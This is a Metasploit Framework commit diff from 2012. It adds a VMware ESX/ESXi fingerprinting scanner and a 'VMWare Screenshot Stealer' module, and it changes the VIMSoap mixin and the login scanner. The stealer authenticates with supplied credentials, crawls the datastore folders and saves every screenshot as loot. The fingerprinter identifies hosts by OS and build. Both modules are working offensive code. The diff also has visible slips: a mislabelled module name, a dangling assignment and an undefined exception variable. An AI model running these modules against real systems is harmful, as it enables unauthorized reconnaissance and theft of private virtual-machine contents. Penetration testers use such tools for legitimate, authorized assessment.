VMWare Web service finerprinting and OS detection.

VMWare Screenshot stealer
Improvemenets to the mixin
fix to check method for the login scanner
This commit is contained in:
David Maloney 2012-02-13 12:05:32 -06:00
parent f4d768ca64
commit 8c305e1a28
4 changed files with 276 additions and 49 deletions

View File

@ -18,6 +18,7 @@ module Exploit::Remote::VIMSoap
'agent' => 'VMware VI Client',
'data' => soap_data
}, 25)
return false unless res and res.code == 200
@server_objects = Hash.from_xml(res.body)['Envelope']['Body']['RetrieveServiceContentResponse']['returnval']
@soap_action = "urn:vim25/#{@server_objects['about']['apiVersion']}"
if res.headers['Set-Cookie']
@ -169,7 +170,7 @@ module Exploit::Remote::VIMSoap
'headers' => { 'SOAPAction' => @soap_action}
}, 25)
tmp_dcs = []
tmp_dcs = Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
tmp_dcs << Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
tmp_dcs.flatten!
tmp_dcs.each{|dc| @dcs << { 'name' => vim_get_dc_name(dc) , 'ref' => dc}}
end
@ -351,36 +352,43 @@ module Exploit::Remote::VIMSoap
'data' => soap_req,
'headers' => { 'SOAPAction' => @soap_action}
}, 25)
datastore_ref = Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
datastore_refs = []
datastore_refs << Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
datastore_refs.flatten!
datastore_refs.compact!
datastores = []
soap_req =
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveProperties xmlns="urn:vim25">
<_this type="PropertyCollector">#{@server_objects['propertyCollector']}</_this>
<specSet xsi:type="PropertyFilterSpec">
<propSet xsi:type="PropertySpec">
<type>Datastore</type>
<pathSet>info</pathSet>
</propSet>
<objectSet xsi:type="ObjectSpec">
<obj type="Datastore">#{datastore_ref}</obj>
</objectSet>
</specSet>
</RetrieveProperties>
</env:Body>
</env:Envelope>|
res = send_request_cgi({
'uri' => '/sdk',
'method' => 'POST',
'agent' => 'VMware VI Client',
'cookie' => @vim_cookie,
'data' => soap_req,
'headers' => { 'SOAPAction' => @soap_action}
}, 25)
datastore_name = Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['name']
datastore = { 'name' => datastore_name, 'ref' => datastore_ref}
return datastore
datastore_refs.each do |datastore_ref|
soap_req =
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveProperties xmlns="urn:vim25">
<_this type="PropertyCollector">#{@server_objects['propertyCollector']}</_this>
<specSet xsi:type="PropertyFilterSpec">
<propSet xsi:type="PropertySpec">
<type>Datastore</type>
<pathSet>info</pathSet>
</propSet>
<objectSet xsi:type="ObjectSpec">
<obj type="Datastore">#{datastore_ref}</obj>
</objectSet>
</specSet>
</RetrieveProperties>
</env:Body>
</env:Envelope>|
res = send_request_cgi({
'uri' => '/sdk',
'method' => 'POST',
'agent' => 'VMware VI Client',
'cookie' => @vim_cookie,
'data' => soap_req,
'headers' => { 'SOAPAction' => @soap_action}
}, 25)
datastore_name = Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['name']
datastore = { 'name' => datastore_name, 'ref' => datastore_ref}
datastores << datastore
end
return datastores
end
@ -448,22 +456,23 @@ module Exploit::Remote::VIMSoap
ss_folder = Rex::Text.uri_encode(ss_folder)
ss_file = Rex::Text.uri_encode(ss_file)
ss_path = "#{ss_folder}/#{ss_file}"
datastore = vim_get_vm_datastore(vm['ref'])
datastores = vim_get_vm_datastore(vm['ref'])
user_pass = Rex::Text.encode_base64(user + ":" + pass)
ss_uri = "/folder/#{ss_path}?dcPath=#{vm['dc_name']}&dsName=#{datastore['name']}"
ss_uri =
res = send_request_cgi({
'uri' => ss_uri,
'method' => 'GET',
'agent' => 'VMware VI Client',
'cookie' => @vim_cookie,
'headers' => {
'SOAPAction' => @soap_action,
'Authorization' => "Basic #{user_pass}",
}
}, 25)
if res.code == 200
return res.body
datastores.each do |datastore|
ss_uri = "/folder/#{ss_path}?dcPath=#{vm['dc_name']}&dsName=#{datastore['name']}"
res = send_request_cgi({
'uri' => ss_uri,
'method' => 'GET',
'agent' => 'VMware VI Client',
'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{user_pass}"}
}, 25)
next unless res
if res.code == 200
return res.body
elsif res.code == 404
next
end
end
return :error
end

View File

@ -0,0 +1,92 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/vim_soap'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::VIMSoap
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare Screenshot Stealer',
'Version' => '$Revision$',
'Description' => %Q{
This module accesses the web API interfaces for VMware ESX/ESXi servers
and attempts to identify version information for that server.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options([Opt::RPORT(443)], self.class)
end
def run_host(ip)
soap_data =
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>|
datastore['URI'] ||= "/sdk"
user = Rex::Text.rand_text_alpha(8)
pass = Rex::Text.rand_text_alpha(8)
begin
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => soap_data
}, 25)
if res
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
if os_match and ver_match and build_match
unless os_match[1].include? "Server"
report_host( :host => ip, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" )
end
end
if full_match
print_good "Identified #{full_match[1]}"
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1])
return true
else
vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
return false
end
else
vprint_error("http://#{ip}:#{rport} - No response")
end
rescue ::Rex::ConnectionError => e
vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
return false
rescue
vprint_error("Skipping #{ip} due to error - #{e}")
return false
end
end
end

View File

@ -43,6 +43,14 @@ class Metasploit3 < Msf::Auxiliary
# Mostly taken from the Apache Tomcat service validator
def check(ip)
soap_data =
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>|
datastore['URI'] ||= "/sdk"
user = Rex::Text.rand_text_alpha(8)
pass = Rex::Text.rand_text_alpha(8)
@ -51,12 +59,19 @@ class Metasploit3 < Msf::Auxiliary
'uri' => datastore['URI'],
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => gen_soap_data(user,pass)
'data' => soap_data
}, 25)
if res
fp = http_fingerprint({ :response => res })
if fp =~ /VMWare/
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => fp)
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
full_match = res.body.match(/<name>([\w\s\.\-]+)<\/name>/)
if os_match and ver_match and build_match
report_host( :host => ip, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" )
end
if full_match
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1])
return true
else
vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")

View File

@ -0,0 +1,111 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/vim_soap'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::VIMSoap
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare Screenshot Stealer',
'Version' => '$Revision$',
'Description' => %Q{
This module uses supplied login credentials to connect to VMWare via
the web interface. It then searches through the datastores looking for screenshots.
It will downlaod any screenshots it finds and save them as loot.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
], self.class)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
@user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
crawl_page('/folder')
else
print_error "Login Failure on #{ip}"
return
end
end
def crawl_page(path, parent='')
res = send_request_cgi({
'uri' => path,
'method' => 'GET',
'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
}, 25)
if res
@vim_cookie = res.headers['Set-Cookie']
if res.code== 200
res.body.scan(/<a href="([\w\/\?=&;%]+)">/) do |match|
link = match[0]
link.gsub!('&amp;', '&')
case link
when /%2epng?/
img_name = Rex::Text::uri_decode(link.match(/\/([\w\?=&;%]+%2epng)/)[1])
print_good "Screenshot Found: #{img_name} Full Path: #{link}"
grab_screenshot(link, img_name)
when /%2e(?!png)/
next
when parent
next
else
crawl_page(link, path)
end
end
elsif res.code == 401
print_error "Authorization Failure for: #{path}"
end
end
end
def grab_screenshot(path, name)
res = send_request_cgi({
'uri' => path,
'method' => 'GET',
'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
}, 25)
if res
@vim_cookie = res.headers['Set-Cookie']
if res.code == 200
img = res.body
ss_path = store_loot("VMWare Screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}")
print_status "Screenshot saved to #{ss_path}"
else
print_error "Failed to retrieve screenshot at #{path} HTTP Response code #{res.code} "
end
else
print_error "Failed to retrieve screenshot: there was no reply"
end
end
end